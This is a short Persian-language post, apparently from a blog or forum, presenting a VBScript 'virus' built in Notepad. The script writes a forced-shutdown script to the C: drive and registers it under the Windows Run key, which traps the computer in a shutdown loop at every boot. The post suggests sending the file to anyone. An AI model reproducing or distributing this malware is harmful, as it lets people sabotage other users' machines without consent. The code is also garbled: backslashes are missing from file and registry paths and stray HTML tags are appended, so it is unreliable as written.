ساختن ویروسی که مانع بالا آمدن ویندوز میشه(با نت پد) ۲

این اسکریپت روی هرکامپیوتری اجرا بشه نمی ذاره کامپیوترش بالا بیاد. حتی فرصت کلیک کردن روی ایکن رو بهش نمی ده .و پشت سر هم restart می شه! می تونید روی کامپیوتر خودتون هم اجراش کنید . برای خلاصی ازش باید فایل C: estart.vbs رو از کامپیوترتون از طریق Dos حذف کنید بعد ویندوزتون بالا می آد
کد پایین را روی notepad کپی کنید و فایل را با پسوند vbs ذخیره کنید. می تونید برای هر کسی بفرستید ...

اینم کدش :

Sub ShutDown Set FSO = CreateObject("Scripting.FileSystemObject") Set TxtFile = FSO.CreateTextFile("c: estart.vbs", 2, False) TxtFile.WriteLine "Sub ShutDown " TxtFile.WriteLine "nLogOff=0 " TxtFile.WriteLine "nReboot=2 " TxtFile.WriteLine "nForceLogOff=4 " TxtFile.WriteLine "nForceReboot=6 " TxtFile.WriteLine "nPowerDown=8 " TxtFile.WriteLine "nForcePowerDown=12 " TxtFile.WriteLine "Set oOS = GetObject("+chr(34)+"winmgmts:{(Shutdown)}"+chr(34)+").ExecQuery("+chr(34)+"Select * from Win32_OperatingSystem"+chr(34)+") " TxtFile.WriteLine "For Each oOperatingSystem in oOS " TxtFile.WriteLine " oOperatingSystem.Win32Shutdown(nForcePowerDown) " TxtFile.WriteLine "Next " TxtFile.WriteLine "End sub " TxtFile.WriteLine "ShutDown " TxtFile.Close Set WshShell = CreateObject("WScript.Shell") WshShell.RegWrite "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunRestart", "c: estart.vbs" End sub ShutDown</body> </html> </body> </html>